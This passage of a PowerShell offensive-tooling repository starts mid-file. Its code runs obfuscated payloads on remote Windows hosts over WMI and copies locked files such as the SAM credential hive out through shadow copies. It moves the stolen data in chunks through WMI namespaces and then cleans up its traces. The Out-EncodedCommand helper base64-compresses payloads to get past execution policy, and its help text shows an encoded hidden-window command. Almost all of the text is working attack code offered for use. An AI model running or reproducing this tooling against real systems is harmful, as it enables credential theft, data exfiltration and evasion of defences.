$CompressedScriptBytes = $CompressedStream.ToArray() 332 | $CompressedStream.Dispose() 333 | $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) 334 | 335 | # Generate the code that will decompress and execute the payload. 336 | # This code is intentionally ugly to save space. 337 | $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()' 338 | 339 | # Base-64 strings passed to -EncodedCommand must be unicode encoded. 340 | $UnicodeEncoder = New-Object System.Text.UnicodeEncoding 341 | $EncodedPayloadScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript)) 342 | 343 | # Build the command line options 344 | # Use the shortest possible command-line arguments to save space. Thanks @obscuresec for the idea. 345 | $CommandlineOptions = New-Object String[](0) 346 | if ($PSBoundParameters['NoExit']) 347 | { $CommandlineOptions += '-NoE' } 348 | if ($PSBoundParameters['NoProfile']) 349 | { $CommandlineOptions += '-NoP' } 350 | if ($PSBoundParameters['NonInteractive']) 351 | { $CommandlineOptions += '-NonI' } 352 | if ($PSBoundParameters['WindowStyle']) 353 | { $CommandlineOptions += "-W $($PSBoundParameters['WindowStyle'])" } 354 | 355 | $CmdMaxLength = 8190 356 | 357 | # Build up the full command-line string. Default to outputting a fully base-64 encoded command. 358 | # If the fully base-64 encoded output exceeds the cmd.exe character limit, fall back to partial 359 | # base-64 encoding to save space. Thanks @Carlos_Perez for the idea. 360 | if ($PSBoundParameters['Wow64']) 361 | { 362 | $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -C `"$NewScript`"" 363 | 364 | if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength) 365 | { 366 | $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`"" 367 | } 368 | 369 | if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput'])) 370 | { 371 | $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -C `"$NewScript`"" 372 | } 373 | } 374 | else 375 | { 376 | $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`"" 377 | 378 | if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength) 379 | { 380 | $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`"" 381 | } 382 | 383 | if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput'])) 384 | { 385 | $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`"" 386 | } 387 | } 388 | 389 | if ($CommandLineOutput.Length -gt $CmdMaxLength) 390 | { 391 | Write-Warning 'This command exceeds the cmd.exe maximum allowed length!' 392 | } 393 | 394 | Write-Output $CommandLineOutput 395 | } 396 | -------------------------------------------------------------------------------- /Invoke-WmiShadowCopy.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-WmiShadowCopy { 2 | <# 3 | .SYNOPSIS 4 | 5 | Creates and links a Volume Shadow Copy, gets file handle and copies locked files, exfiltrates files over WMI. 6 | 7 | Author: Jesse Davis (@secabstraction) 8 | License: BSD 3-Clause 9 | Required Dependencies: Out-EncodedCommand, Get-WmiChunk 10 | Optional Dependencies: New-WmiSession 11 | 12 | .DESCRIPTION 13 | 14 | Invoke-WmiShadowCopy creates a new Volume Shadow Copy via the WMI Win32_ShadowCopy class's Create method. After the Shadow Volume is created, its Device is linked to a directoy. After linking, a file handle can be acquired to copy locked files. The copied file's data is Base64 encoded and written to WMI namespaces for exfiltration. 15 | 16 | .PARAMETER ComputerName 17 | 18 | Specifies the remote host to interact with. 19 | 20 | .PARAMETER UserName 21 | 22 | Specifies the Domain\UserName to create a credential object for authentication, will also accept a PSCredential object. If this parameter isn't used, the credentials of the current session will be used. (Credentials can be loaded via Runas or some other method.) 23 | 24 | .EXAMPLE 25 | 26 | PS C:\> Invoke-WmiShadowCopy -ComputerName Server01 -UserName Server01\Administrator -RemotePath C:\Windows\System32\config\SAM -LocalPath C:\tmp\SAM 27 | 28 | .EXAMPLE 29 | 30 | PS C:\> $Session1 = New-WmiSession -ComputerName Server01 -UserName Server01\Administrator -Namespace EVIL -Tag NINJATAG 31 | PS C:\> $Session1 | Invoke-WmiShadowCopy -RemotePath C:\Windows\System32\SAM -LocalPath C:\tmp\SAM 32 | 33 | .NOTES 34 | 35 | TODO 36 | ---- 37 | 38 | Let me know 39 | 40 | .LINK 41 | 42 | http://www.secabstraction.com/ 43 | 44 | #> 45 | Param ( 46 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 47 | [String] 48 | $ComputerName, 49 | 50 | [Parameter(ValueFromPipelineByPropertyName = $True)] 51 | [ValidateNotNull()] 52 | [System.Management.Automation.PSCredential] 53 | [System.Management.Automation.Credential()] 54 | $UserName = [System.Management.Automation.PSCredential]::Empty, 55 | 56 | [Parameter(ValueFromPipelineByPropertyName = $True)] 57 | [String] 58 | $Namespace = "root\default", 59 | 60 | [Parameter(ValueFromPipelineByPropertyName = $True)] 61 | [String] 62 | $Tag = ([System.IO.Path]::GetRandomFileName()).Remove(8,4), 63 | 64 | [Parameter(Position = 0, Mandatory = $True)] 65 | [ValidateNotNullOrEmpty()] 66 | [String] 67 | $RemotePath, 68 | 69 | [Parameter(Position = 1)] 70 | [String] 71 | $LocalPath = ".", 72 | 73 | [Parameter(Position = 2)] 74 | [String] 75 | $ShadowDirectory = ([System.IO.Path]::GetRandomFileName()).Remove(8,4) 76 | 77 | ) # End Param 78 | 79 | if ($PSBoundParameters['Path'] -eq '.') { $LocalPath = Resolve-Path $LocalPath } 80 | 81 | # PowerShell script to handle activity on remote computer 82 | $RemoteScript = @" 83 | 84 | `$WmiBackup = [System.IO.Path]::GetRandomFileName() 85 | Invoke-Expression "winmgmt /backup `$env:TEMP\`$WmiBackup" 86 | 87 | `$NewShadowVolume = ([WMICLASS]"root\cimv2:Win32_ShadowCopy").Create("$RemotePath".SubString(0,3), "ClientAccessible") 88 | `$ShadowDevice = (Get-WmiObject -Query "SELECT * FROM WIn32_ShadowCopy WHERE ID='`$(`$NewShadowVolume.ShadowID)'").DeviceObject + '\' 89 | Invoke-Command {cmd.exe /c mklink /d %TEMP%\$ShadowDirectory `$ShadowDevice} 90 | 91 | function Insert-Piece(`$i, `$piece) { 92 | `$Count = `$i.ToString() 93 | `$Zeros = "0" * (6 - `$Count.Length) 94 | `$Tag = "$Tag" + `$Zeros + `$Count 95 | `$Piece = `$Tag + `$piece + `$Tag 96 | `$null = Set-WmiInstance -EnableAll -Namespace $Namespace -Path __Namespace -PutType CreateOnly -Arguments @{Name=`$Piece} 97 | } 98 | function Insert-EncodedChunk (`$ByteBuffer) { 99 | `$EncodedChunk = [Convert]::ToBase64String(`$ByteBuffer) 100 | `$WmiEncoded = `$EncodedChunk -replace '\+',[char]0x00F3 -replace '/','_' -replace '=','' 101 | `$nop = [Math]::Floor(`$WmiEncoded.Length / 5500) 102 | if (`$WmiEncoded.Length -gt 5500) { 103 | `$LastPiece = `$WmiEncoded.Substring(`$WmiEncoded.Length - (`$WmiEncoded.Length % 5500), (`$WmiEncoded.Length % 5500)) 104 | `$WmiEncoded = `$WmiEncoded.Remove(`$WmiEncoded.Length - (`$WmiEncoded.Length % 5500), (`$WmiEncoded.Length % 5500)) 105 | for(`$i = 1; `$i -le `$nop; `$i++) { 106 | `$piece = `$WmiEncoded.Substring(0,5500) 107 | `$WmiEncoded = `$WmiEncoded.Substring(5500,(`$WmiEncoded.Length - 5500)) 108 | Insert-Piece `$i `$piece 109 | } 110 | `$WmiEncoded = `$LastPiece 111 | } 112 | Insert-Piece (`$nop + 1) `$WmiEncoded 113 | Set-WmiInstance -EnableAll -Namespace $Namespace -Path __Namespace -PutType CreateOnly -Arguments @{Name='CHUNK_READY'} 114 | } 115 | [UInt64]`$FileOffset = 0 116 | `$BufferSize = $BufferSize 117 | `$Path = `$env:TEMP + '\' + "$ShadowDirectory" + "$RemotePath".SubString(2, "$RemotePath".Length - 2) 118 | `$FileStream = New-Object System.IO.FileStream "`$Path",([System.IO.FileMode]::Open) 119 | `$BytesLeft = `$FileStream.Length 120 | if (`$FileStream.Length -gt `$BufferSize) { 121 | [Byte[]]`$ByteBuffer = New-Object Byte[] `$BufferSize 122 | do { 123 | `$FileStream.Seek(`$FileOffset, [System.IO.SeekOrigin]::Begin) | Out-Null 124 | `$FileStream.Read(`$ByteBuffer, 0, `$BufferSize) | Out-Null 125 | [UInt64]`$FileOffset += `$ByteBuffer.Length 126 | `$BytesLeft -= `$ByteBuffer.Length 127 | Insert-EncodedChunk `$ByteBuffer 128 | `$ChunkDownloaded = "" 129 | do {`$ChunkDownloaded = Get-WmiObject -Namespace $Namespace -Query "SELECT * FROM __Namespace WHERE Name like 'CHUNK_DOWNLOADED'" 130 | } until (`$ChunkDownloaded) 131 | Get-WmiObject -Namespace $Namespace -Query "SELECT * FROM __Namespace WHERE Name LIKE '$Tag%' OR Name LIKE 'CHUNK_DOWNLOADED'" | Remove-WmiObject 132 | } while (`$BytesLeft -gt `$BufferSize) 133 | } 134 | `$ByteBuffer = `$null 135 | [Byte[]]`$ByteBuffer = New-Object Byte[] (`$BytesLeft) 136 | `$FileStream.Seek(`$FileOffset, [System.IO.SeekOrigin]::Begin) 137 | `$FileStream.Read(`$ByteBuffer, 0, `$BytesLeft) 138 | Insert-EncodedChunk `$ByteBuffer 139 | `$FileStream.Flush() 140 | `$FileStream.Dispose() 141 | `$FileStream = `$null 142 | `$null = Set-WmiInstance -EnableAll -Namespace $Namespace -Path __Namespace -PutType CreateOnly -Arguments @{Name='DOWNLOAD_COMPLETE'} 143 | 144 | Invoke-Expression "cmd.exe /c rmdir %TEMP%\$ShadowDirectory" 145 | 146 | Get-WmiObject -Query "SELECT * FROM Win32_ShadowCopy WHERE ID='`$(`$NewShadowVolume.ShadowID)'" | Remove-WmiObject 147 | 148 | Invoke-Expression "winmgmt.exe /restore `$env:TEMP\`$WmiBackup 1" 149 | 150 | Remove-Item `$env:TEMP\`$WmiBackup 151 | 152 | "@ 153 | $ScriptBlock = [ScriptBlock]::Create($RemoteScript) 154 | 155 | # Base64 encode script so it can be passed as a command-line argument 156 | $EncodedPosh = Out-EncodedCommand -NoProfile -NonInteractive -ScriptBlock $ScriptBlock 157 | 158 | # Run encoded script on remote computer using WMI 159 | $null = Invoke-WmiMethod -EnableAllPrivileges -ComputerName $ComputerName -Credential $UserName -Class Win32_Process -Name Create -ArgumentList $EncodedPosh 160 | 161 | # Download chunks of data until 'DOWNLOAD_COMPLETE' flow-control flag is set 162 | $DownloadComplete = "" 163 | do { 164 | Get-WmiChunk -ComputerName $ComputerName -UserName $UserName -Namespace $Namespace -Tag $Tag -Path $LocalPath 165 | $DownloadComplete = Get-WmiObject -ComputerName $ComputerName -Credential $UserName -Namespace $Namespace ` 166 | -Query "SELECT * FROM __Namespace WHERE Name LIKE 'DOWNLOAD_COMPLETE'" 167 | } until ($DownloadComplete) 168 | 169 | # Remove all data written to WMI Namespace 170 | Get-WmiObject -ComputerName $ComputerName -Credential $UserName -Namespace $Namespace ` 171 | -Query "SELECT * FROM __Namespace WHERE Name LIKE '$Tag%' OR Name LIKE 'DOWNLOAD_COMPLETE' or Name LIKE 'CHUNK_DOWNLOADED'" | Remove-WmiObject 172 | 173 | 174 | } 175 | function Get-WmiChunk { 176 | <# 177 | .SYNOPSIS 178 | 179 | Retrieves chunks of data written to WMI Namespaces by Invoke-WmiShadowCopy. 180 | 181 | Author: Jesse Davis (@secabstraction) 182 | License: BSD 3-Clause 183 | Required Dependencies: None 184 | Optional Dependencies: None 185 | 186 | .DESCRIPTION 187 | 188 | Get-WmiChunk isn't intended for user interaction, but as a helper function for exfiltrating data over WMI. 189 | 190 | .EXAMPLE 191 | 192 | .NOTES 193 | 194 | TODO 195 | ---- 196 | 197 | Let me know 198 | 199 | .LINK 200 | 201 | http://www.secabstraction.com/ 202 | 203 | #> 204 | Param ( 205 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 206 | [string[]] 207 | $ComputerName, 208 | 209 | [Parameter(ValueFromPipelineByPropertyName = $True)] 210 | [ValidateNotNull()] 211 | [System.Management.Automation.PSCredential] 212 | [System.Management.Automation.Credential()] 213 | $UserName = [System.Management.Automation.PSCredential]::Empty, 214 | 215 | [Parameter(ValueFromPipelineByPropertyName = $True)] 216 | [String] 217 | $Namespace = "root\default", 218 | 219 | [Parameter(ValueFromPipelineByPropertyName = $True)] 220 | [String] 221 | $Tag, 222 | 223 | [Parameter(Mandatory = $True)] 224 | [String]$Path 225 | 226 | ) # End Param 227 | 228 | $Reconstructed = New-Object System.Text.StringBuilder 229 | 230 | # Wait for remote session to set flow-control flag 231 | $ChunkReady = "" 232 | do {$ChunkReady = Get-WmiObject -ComputerName $ComputerName -Credential $UserName -Namespace $Namespace ` 233 | -Query "SELECT * FROM __Namespace WHERE Name LIKE 'CHUNK_READY'" 234 | } until ($ChunkReady) 235 | 236 | # Remove flow-control flag 237 | Get-WmiObject -ComputerName $ComputerName -Credential $UserName -Namespace $Namespace ` 238 | -Query "SELECT * FROM __Namespace WHERE Name LIKE 'CHUNK_READY'" | Remove-WmiObject 239 | 240 | # Retrieve data from WMI Namespaces, sort by tag number, store in string[] 241 | $GetWmiStrings = Get-WmiObject -ComputerName $ComputerName -Credential $UserName -Namespace $Namespace ` 242 | -Query "SELECT * FROM __Namespace WHERE Name like '$Tag%'" | % {$_.Name} | Sort-Object 243 | 244 | # Restore Base64 characters that were swapped for WMI-friendly characters and remove 14-character tags 245 | foreach ($line in $GetWmiStrings) { 246 | $WmiToBase64 = $line.Remove(0,14) -replace [char]0x00F3,[char]0x002B -replace '_','/' 247 | $WmiToBase64 = $WmiToBase64.Remove($WmiToBase64.Length - 14, 14) 248 | $null = $Reconstructed.Append($WmiToBase64) 249 | } 250 | 251 | # Restore Base64 padding characters that were removed so data can be decoded 252 | if ($Reconstructed.ToString().Length % 4 -ne 0) { $null = $Reconstructed.Append(("===").Substring(0, 4 - ($Reconstructed.ToString().Length % 4))) } 253 | 254 | [Byte[]]$DecodedByteArray = [Convert]::FromBase64String($Reconstructed) 255 | 256 | # Write bytes to the local file 257 | $FileStream = New-Object System.IO.FileStream $Path,([System.IO.FileMode]::Append) 258 | $null = $FileStream.Seek(0, [System.IO.SeekOrigin]::End) 259 | $FileStream.Write($DecodedByteArray, 0, $DecodedByteArray.Length) 260 | $FileStream.Flush() 261 | $FileStream.Dispose() 262 | $FileStream = $null 263 | 264 | # Set flow-control flag to let remote session know this chunk has been downloaded 265 | $null = Set-WmiInstance -ComputerName $ComputerName -Credential $UserName -Namespace $Namespace ` 266 | -Path __Namespace -PutType CreateOnly -Arguments @{Name="CHUNK_DOWNLOADED"} 267 | } 268 | function Out-EncodedCommand { 269 | <# 270 | .SYNOPSIS 271 | 272 | Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. 273 | 274 | PowerSploit Function: Out-EncodedCommand 275 | Author: Matthew Graeber (@mattifestation) 276 | License: BSD 3-Clause 277 | Required Dependencies: None 278 | Optional Dependencies: None 279 | 280 | .DESCRIPTION 281 | 282 | Out-EncodedCommand prepares a PowerShell script such that it can be pasted into a command prompt. The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies. 283 | 284 | .PARAMETER ScriptBlock 285 | 286 | Specifies a scriptblock containing your payload. 287 | 288 | .PARAMETER Path 289 | 290 | Specifies the path to your payload. 291 | 292 | .PARAMETER NoExit 293 | 294 | Outputs the option to not exit after running startup commands. 295 | 296 | .PARAMETER NoProfile 297 | 298 | Outputs the option to not load the Windows PowerShell profile. 299 | 300 | .PARAMETER NonInteractive 301 | 302 | Outputs the option to not present an interactive prompt to the user. 303 | 304 | .PARAMETER Wow64 305 | 306 | Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations. 307 | 308 | .PARAMETER WindowStyle 309 | 310 | Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden. 311 | 312 | .PARAMETER EncodedOutput 313 | 314 | Base-64 encodes the entirety of the output. This is usually unnecessary and effectively doubles the size of the output. This option is only for those who are extra paranoid. 315 | 316 | .EXAMPLE 317 | 318 | C:\PS> Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'} 319 | 320 | powershell -C sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('Cy/KLEnV9cgvLlFQz0jNycnXUSjPL8pJUVQHAA=='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() 321 | 322 | .EXAMPLE 323 | 324 | C:\PS> Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput 325 | 326 | powershell -NoP -NonI -W Hidden -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA= 327 | 328 | Description 329 | ----------- 330 | Execute the above payload for the lulz. >D 331 | 332 | .NOTES 333 | 334 | This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kennedy and Josh Kelley's talk, "PowerShell...OMFG" (https://www.trustedsec.com/files/PowerShell_PoC.zip) 335 | 336 | .LINK 337 | 338 | http://www.exploit-monday.com 339 | #> 340 | 341 | [CmdletBinding( DefaultParameterSetName = 'FilePath')] Param ( 342 | [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] 343 | [ValidateNotNullOrEmpty()] 344 | [ScriptBlock] 345 | $ScriptBlock, 346 | 347 | [Parameter(Position = 0, ParameterSetName = 'FilePath' )] 348 | [ValidateNotNullOrEmpty()] 349 | [String] 350 | $Path, 351 | 352 | [Switch] 353 | $NoExit, 354 | 355 | [Switch] 356 | $NoProfile, 357 | 358 | [Switch] 359 | $NonInteractive, 360 | 361 | [Switch] 362 | $Wow64, 363 | 364 | [ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')] 365 | [String] 366 | $WindowStyle, 367 | 368 | [Switch] 369 | $EncodedOutput 370 | ) 371 | 372 | if ($PSBoundParameters['Path']) 373 | { 374 | Get-ChildItem $Path -ErrorAction Stop | Out-Null 375 | $ScriptBytes = [IO.File]::ReadAllBytes((Resolve-Path $Path)) 376 | } 377 | else 378 | { 379 | $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($ScriptBlock) 380 | } 381 | 382 | $CompressedStream = New-Object IO.MemoryStream 383 | $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) 384 | $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) 385 | $DeflateStream.Dispose() 386 | $CompressedScriptBytes = $CompressedStream.ToArray() 387 | $CompressedStream.Dispose() 388 | $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) 389 | 390 | # Generate the code that will decompress and execute the payload. 391 | # This code is intentionally ugly to save space. 392 | $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()' 393 | 394 | # Base-64 strings passed to -EncodedCommand must be unicode encoded. 395 | $UnicodeEncoder = New-Object System.Text.UnicodeEncoding 396 | $EncodedPayloadScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript)) 397 | 398 | # Build the command line options 399 | # Use the shortest possible command-line arguments to save space. Thanks @obscuresec for the idea. 400 | $CommandlineOptions = New-Object String[](0) 401 | if ($PSBoundParameters['NoExit']) 402 | { $CommandlineOptions += '-NoE' } 403 | if ($PSBoundParameters['NoProfile']) 404 | { $CommandlineOptions += '-NoP' } 405 | if ($PSBoundParameters['NonInteractive']) 406 | { $CommandlineOptions += '-NonI' } 407 | if ($PSBoundParameters['WindowStyle']) 408 | { $CommandlineOptions += "-W $($PSBoundParameters['WindowStyle'])" } 409 | 410 | $CmdMaxLength = 8190 411 | 412 | # Build up the full command-line string. Default to outputting a fully base-64 encoded command. 413 | # If the fully base-64 encoded output exceeds the cmd.exe character limit, fall back to partial 414 | # base-64 encoding to save space. Thanks @Carlos_Perez for the idea. 415 | if ($PSBoundParameters['Wow64']) 416 | { 417 | $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -C `"$NewScript`"" 418 | 419 | if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength) 420 | { 421 | $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`"" 422 | } 423 | 424 | if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput'])) 425 | { 426 | $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -C `"$NewScript`"" 427 | } 428 | } 429 | else 430 | { 431 | $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`"" 432 | 433 | if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength) 434 | { 435 | $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`"" 436 | } 437 | 438 | if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput'])) 439 | { 440 | $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`"" 441 | } 442 | } 443 | 444 | if ($CommandLineOutput.Length -gt $CmdMaxLength) 445 | { 446 | Write-Warning 'This command exceeds the cmd.exe maximum allowed length!' 447 | } 448 | 449 | Write-Output $CommandLineOutput 450 | } 451 | --------------------------------------------------------------------------------